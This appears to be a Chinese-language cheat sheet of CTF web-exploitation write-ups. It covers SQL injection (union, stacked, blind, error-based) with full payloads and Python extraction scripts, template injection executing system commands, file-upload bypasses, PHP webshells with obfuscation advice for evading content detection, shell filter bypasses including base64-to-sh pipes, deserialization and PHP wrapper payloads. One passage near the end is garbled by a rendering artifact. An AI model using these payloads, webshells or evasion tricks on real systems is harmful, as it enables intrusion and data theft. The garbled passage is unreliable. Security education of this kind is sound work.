注入点 --> 查询注入字段数 --> 查询注入回显位 --> 查询当前数据库信息 --> 查询数据库表 --> 查询数据库表下的字段 --> 爆出想要的字段信息
以BUUCTF [极客大挑战 2019]LoveSQL 1 题为例子,该题没有任何过滤,非常基础!!
发现有一个用户名和密码,先用弱口令尝试登录,Fail!!,然后使用万能密码1‘ or 1=1#
发现有效,但密码好像只是一串数字,考虑加解密情况,但这题并不是。
目前告诉我们有admin用户,且明显username 或者password存在注入情况,先看下查询字段数
/check.php?username=1' or 1=1 order by 3%23&password=1 存在
/check.php?username=1' or 1=1 order by 3%23&password=1 报错
注意:此时是URL输入,不能用#,而用其url编码%23
发现有3个回显字段,接下来查看哪几个字段存在回显情况
/check.php?username=1' union select 1,2,3%23&password=1
/check.php?username=1' union select 1,database(),version()%23&password=1
注意,可能答案不在当前数据库,则要先爆出所有数据库:
group_concat(schema_name) from information_schema.schemata
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
group_concat(id,password) 将id和passwd合并输出,该函数可将所有查询结果显示,而不是只显示第一个结果
可以发现有两个表 geekuser 和 l0ve1ysq1,下一步就是看数据库表中有哪些字段,由于答案在l0ve1ysq1表中,则以它为例:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
发现有id,username,password字段,则查看这些字段内容
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句
如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁
堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()
函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()
函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()
这样的函数,简单总结下来就是
以[GYCTF2020]Blacklist为例子,该题过滤了大部分关键字,报错注入也失效,考虑堆叠注入。但由于select也被过滤,需要用handler语法完成查询。
# HANDLER 语句
HANDLER tbl_name OPEN [ [AS] alias]
[
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
]
HANDLER table_name OPEN:打开一个表的句柄。
HANDLER table_name READ index:访问表的索引。
HANDLER table_name CLOSE:关闭已经打开的句柄。
# 1、通过指定的索引查询
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 2、通过的索引查看表
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# FIRST:获取第一行(索引最小的一行)
# NEXT:获取下一行
# PREV:获取上一行
# LAST:获取最后一行(索引最大的一行)
# 2、不通过索引查看表
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
## 完整示例
### 通过指定的索引查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ test_index=(4);HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
### 通过索引查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ FIRST;HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec
### 通过依次获取索引的下一行查看表
mysql> HANDLER test_table OPEN;HANDLER test_table READ NEXT;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 5 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 1 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 2 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
Empty set (0.00 sec)
#### 最后索引结束返回空
解题:该题没限制show关键字和handler关键字,使用堆叠注入查看信息
1';show databases; # 查看数据库名
1';show tables; # 查看表名
1';desc FlagHere;# 查看表结构
发现flag列,推测其应为flag,尝试获取内容,但是因为select被限制,查了一些资料了解HANDLER语法可以绕过select限制
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
盲注就是无法直接获得结果,需要猜测遍历获得结果。比如前端有输入1时返回True,但输入2时返回Err。这是构造结果为1或者2类型进行盲注即可。
以BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 为例子。
输入1时,返回Hello, glzjin wants a girlfriend.
输入2时返回Do you want to be my girlfriend?
其余返回Error Occured When Fetch Result.
由于输入仅输入1时返回Hello, glzjin wants a girlfriend.,因此可以构造结果真为1的表达式,例如0^1、if(1=1,1,2)等
以0^1为例,只需将1修改为要盲注的表达式即可,0^(ascii(mid((select(flag)from(flag)),1,1))=102) ,盲注脚本
import requests
import time
import re
url='http://57d440cc-5e50-4c6c-832e-df66e275b47b.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43): # flag一般为42位
for c in range(0,127):
s = (int)(c)
payload = '0^(ascii(mid((select(flag)from(flag)),'+str(i)+',1))='+str(s)+')'
# print(payload)
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
flag+=chr(s)
print(flag)
print(payload)
这里提供其他方式的盲注脚本
import requests
import string
def blind_sql(url):
flag='' #接收结果
for num in range(1,60): #flag一般不超过50个字符
for i in string.printable: #string.printable将给出所有的标点符号,数字,ascii_letters和空格
payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码
post = {"id":payload}
result = requests.post(url=url,data=post) #提交post请求
if 'Hello' in result.text:
flag += i #用flag接收盲注得到的结果
print(flag) #打印结果
print(payload)
else:
continue
print(flag)
if __name__ == '__main__':
url='http://57d440cc-5e50-4c6c-832e-df66e275b47b.node4.buuoj.cn:81/index.php'
blind_sql(url)
例如在POST提交时对关键字phpinfo()绕过,传入参数为data,我们的目标为执行assert(phpinfo())
方法1:data=$t=str_replace("x","","pxhpxinxfo()");assert($t);
方法2:data=$t="ph";$tt="pinfo";$ttt=$t.$tt;assert($ttt);
当很多关键字,如空格均被过滤,难以构建正确注入语句时,而sql报错存在回显可使用报错注入
报错注入常用updatexml()、extractvalue()、floor()等
报错注入常伴随绕过替换:
1:空格被过滤可以使用/**/或者()绕过
2:=号被过滤可以用like来绕过
3:substring与mid被过滤可以用right与left来绕过
以[极客大挑战 2019]HardSQL 为例,该题过滤了空格等多种关键字,但()和一些报错注入函数未被过滤,并错误回显,则考虑使用报错注入
这题可用updatexml()、extractvalue()两种进行
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串),代表路径
new_value,String格式,替换查找到的符合条件的数据
updatexml()方法:
查数据库:admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
查表名 :admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
查字段名:admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#
爆出数据:admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#
由于报错信息显示有限,可以使用left right分开查询,最后拼接
admin'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)where(username)like('flag'))),1))#
admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#
原理:由于0x7e是~,不属于xpath语法格式,当xpath_string格式出现错误,mysql则会爆出xpath语法错误,因此在xpath_string中插入想要得到的信息,该信息会被回显出来
extractvalue(目标xml文档,xml路径)
第一个参数:可以传入目标xml文档
第二个参数:xml中的位置 是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
一些框架中的函数,对用户输入较为信任,造成的模板注入。可以造成文件泄露,rce等漏洞。
不同框架,其模板注入格式不同,可按以下测试模板类型,边绿色表示语法结果正确
以BUUCTF [BJDCTF2020]The mystery of ip 为例,flag页面是ip地址,并且可以通过在数据包头加X-Forwarded-For:xx 进行修改。
一般这类题目可以考虑XSS漏洞和模板注入。这里为模板注入漏洞。修改ip内容,测试模板,这是Smarty模板,可以通过${命令}方式执行系统命令。
X-Forwarded-For:${system("ls")}
这类漏洞思想就是上传一个后门文件达到攻击效果,主要难点在于绕过防御策略
绕过策略可参考:https://blog.csdn.net/weixin_67503304/article/details/125944267
- 前端绕过,抓包修改后缀名
- 文件内容绕过,用图片马,抓包修改后缀,文件类型字段绕过
- 黑名单绕过,那么我们可以改成phtml抓包绕过
- .htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
这类先上传个.htaccess文件 文件内容为:AddType application/x-httpd-php .jpg 或者
SetHandler application/x-httpd-php shell.jpg为最后要上传的后门文件
- 大小写绕过,抓包后修改后缀为.PHp
- 空格绕过,抓包修改后缀,在后缀后面加上空格
- 点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )
- 文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,
- 拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php
- .user.ini配置文件绕过
以BUUCTF [极客大挑战 2019]Upload 为例
创建一个文件xx.php,写入一句话木马
phpinfo(); @eval($_POST['shell']); ?>
Content-Type: image/jpeg
结果提示 文件的后缀不能为php,文件绕过的格式也有很php,php3,php4,php5,phtml.pht,也可以对php后缀名进行绕过,如大小写,空格等,这里选择xx.phtml绕过
对
GIF89a
GIF89a就GIF文件格式头字符串,可避免检测文件时,发现这不是图片文件
接下来就是找到该后门文件,这里就只能猜文件存放位置,一般存放upload下,访问/upload/test.phtml
后门参数为shell,用post请求或者悬剑等可直接利用,这里用hackbar展示:
即可得到flag
和.htaccess类似,可以将不是php后缀的文件解析成php,但此方法更加严格,要求.user.ini文件和php解析文件在同一个目录下,。user.ini 包含以下内容即可
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg //解析后进行包含
通俗来说.user.ini是用户自定义的,只对该文件生效,其作用在于解析某php文件时,先加载执行auto_prepend_file设置的文件,等某php解析完之后,再加载执行auto_append_file设置的文件。
比如将auto_prepend_file=a.jpg,那么当解析本目录下的php文件时,会先解析a.jpg文件(不管该文件任何格式都会当作php格式)
@eval($_POST['shell']); ?>
<?php assert($_POST['shell']); ?>
<script language="php">eval($_POST['shell']);</script>
木马原型:<?php assert($_POST['z']); ?> 使用拼接法绕过关键字检测
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>
请求时参数为:/?x=b&y=assert
则$a=b $$a=assert 而$$a中$a=b 则$$a本质上为$b
则$b=assert $b($_POST['z']);-->assert($_POST['z']);
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>
但参数传递时需要传递base64_encode,比如phpinfo() --> cGhwaW5mbygp
目前很多安全策略会检测base64,但可用其他加密方式绕过 或者自己写一套加解密算法绕过
和加解密同理,网上搜 php在线加密 即可
加密后虽然面目全非,但其实功能、本质并未改变
加密混淆基本能绕过所有基于内容的匹配策略
< : 如 cat flag.txt 可使用 cat
如cat flag.php存在空格检测,则可使用cat$IFS$1flag.php
ca""t
ca''t
ca``t
ca\t
a=c;b=at;$a$b xxx.php # 变量拼接方法
c${u}at: ${u}在linux中代表空字符串
编码方式:编码:echo “cat flag.php” | base64
解码:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh 或者 `echo Y2F0IGZsYWcucGhwCg== | base64 -d`
简单来说就是参数被 封装成类的形式,因此注入时要注意参数结构
以BUUCTF [极客大挑战 2019]PHP 为例子,该例子分两步骤 目录爆破和反序列化
打开网站发现提示是存在备份,直接开始目录爆破,目录爆破主要在于2点:字典和爆破速率(太快会导致网站GG或拦截)
本次使用gobuster + top7000字典进行爆破 如果速率过快导致GG,那得自己写python脚本控制了
gobuster dir -u http://63c562ca-2b55-49c0-bfaa-98e049c6e69e.node4.buuoj.cn:81/ -w top7000.txt -t 5 --delay 1000ms
-t 是指同时几个线程,–delay是指线程等待时间,用于控制速度,由于这个网站速度太快会G
结果发现存在www.zip 下载下来发现2个有用文件,index.php和class.php,index.php:
# index.php
...
<?php
include 'class.php';
$select = $_GET['select']; # 获取参数值
$res=unserialize(@$select); # 对参数反序列化,说明输入的参数是经过序列化之后的
?>
...
# class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){ # 用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){ # 当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。
if ($this->password != 100) { # 如果 password != 100 就输出用户名和密码
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') { # 当 username === admin 才能输出 flag
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
# flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
经过分析,已经确定需要提交的参数是select,而且提交的值是经过序列化之后的值,username=‘admin’,password=‘100’。
# 序列化代码
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$ser = serialize(new Name());
var_dump($ser);
?>
## 序列化结果:O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
提交结果失败
看结果分析,这是password!=100时才会回显的结果,发现序列化后是存在空格的,url空格用%00代替
?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
结果啥也没回显,还是失败:
进一步分析,wakeup函数是修改了username的值,可能是wakeup函数被调用了
在类外部使用serialize()函数进行序列化的时候,会先调用类内部__sleep()方法,同理在调用unserialize() 函数的时候会先调用**__wakeup()**方法。
这就懂了,还需要绕过wakeup的调用,如果对象属性的个数的值大于真实的属性个数的时候会跳过__wakeup的执行,把name后面的数字2改为大于2的数字,结果成功!
?select=O:4:"Name":999:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists() 和 filesize()的文件系统函数。
相当于把数据传入一个文件中,并用php格式解析执行
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
data://text/plain,
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
就相当于把<?php system("ls")?>存入php文件并执行,存入哪看这个传给谁,但并不是真实一个文件
再例如下面需要给text变量传值,并且file_get_contents相当于从$text中读值,并判断是否为"welcome to the zjctf"
$text = $_GET["text"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo flag
}
值得注意:file_get_contents用于把文件的内容读入到一个字符串中,且该文件内容为"welcome to the zjctf",payload为:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
d2VsY29tZSB0byB0aGUgempjdGY= 为welcome to the zjctf的base64编码形式
程序源码和最终页面显示的代码是完全不同的,因此可以使用php://filter读取源码
例如xxx/unless.php 当正常访问,则完全显示为空,浏览器查看源码也什么都没有,于是查看源码payload如下:
file=php://filter/read=convert.base64-encode/resource=useless.php
可以传递文件内容也可以执行函数(函数一般要base64),例如data://text/plain,base64,xxxx(放置base64的执行代码)
例子:
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
很明显,该题需要先读取next.php源码,且要求file_get_contents( t e x t , ′ r ′ ) = = = " I h a v e a d r e a m " ,这里由于字符串匹配,不用 b a s e 64 编码,使用 ? t e x t = d a t a : / / t e x t / p l a i n , I h a v e a d r e a m 即可注意, I h a v e a d r e a m 不能加引号 , 不然字符串中也是带引号的 i n c l u d e ( text,'r')==="I have a dream",这里由于字符串匹配,不用base64编码,使用?text=data://text/plain,I have a dream即可 注意,I have a dream 不能加引号,不然字符串中也是带引号的 include( text,′r′)==="Ihaveadream",这里由于字符串匹配,不用base64编码,使用?text=data://text/plain,Ihaveadream即可注意,Ihaveadream不能加引号,不然字符串中也是带引号的include(file); 时可以用协议file=php://filter/read=convert.base64-encode/resource=next.php 读取next.php源码
可以读取没有处理过的POST数据。例如
error_reporting(0);
$text = $_GET["text"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo flag
}
?>
这里就可以使用input绕过,I have a dream 放再post位置
代表本地文件系统,可以用file://+绝对路径索引文件,如file:///var/index.php
- 松散比较(运算符):使用两个等号 == 比较,只比较值,不比较类型。
- 严格比较(全等运算符):用三个等号 === 比较,除了比较值,也比较类型。
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0(当成科学计数法进行处理),所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
PHP在攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
php进行MD5运算时,如果运算对象是一个数组,则返回NULL;
md5([1]) --> NULL 因此md5([1]) ===md5([2])
in_array函数有三个参数。第一个参数代表要在数组中搜索的值,第二个参数代表要搜索的数组,第三个参数如果不是true(默认False)就代表不会比较数据类型,就等于是==,容易绕过
并且当我们需要执行一些敏感函数如system时,如果开启了in_arrary进行判断,则可以适用\system进行绕过,\为转义符,system没可转义对象,因此\system相当于system
WEB-INF是Java的WEB应用的安全目录。若是想在页面中直接访问其中的文件,必须经过web.xml文件对要访问的文件进行相应映射才能访问。 WEB-INF主要包含一下文件或目录:
漏洞检测以及利用方法
: 经过找到web.xml文件,推断class文件的路径,最后直接class文件,在经过反编译class文件,获得网站源码。 通常状况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat作均衡负载或集群等状况时,问题缘由其实很简单,Nginx不会去考虑配置其余类型引擎(Nginx不是jsp引擎)致使的安全问题而引入到自身的安全规范中来(这样耦合性过高了),修改Nginx配置文件禁止访问WEB-INF目录就行了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其余!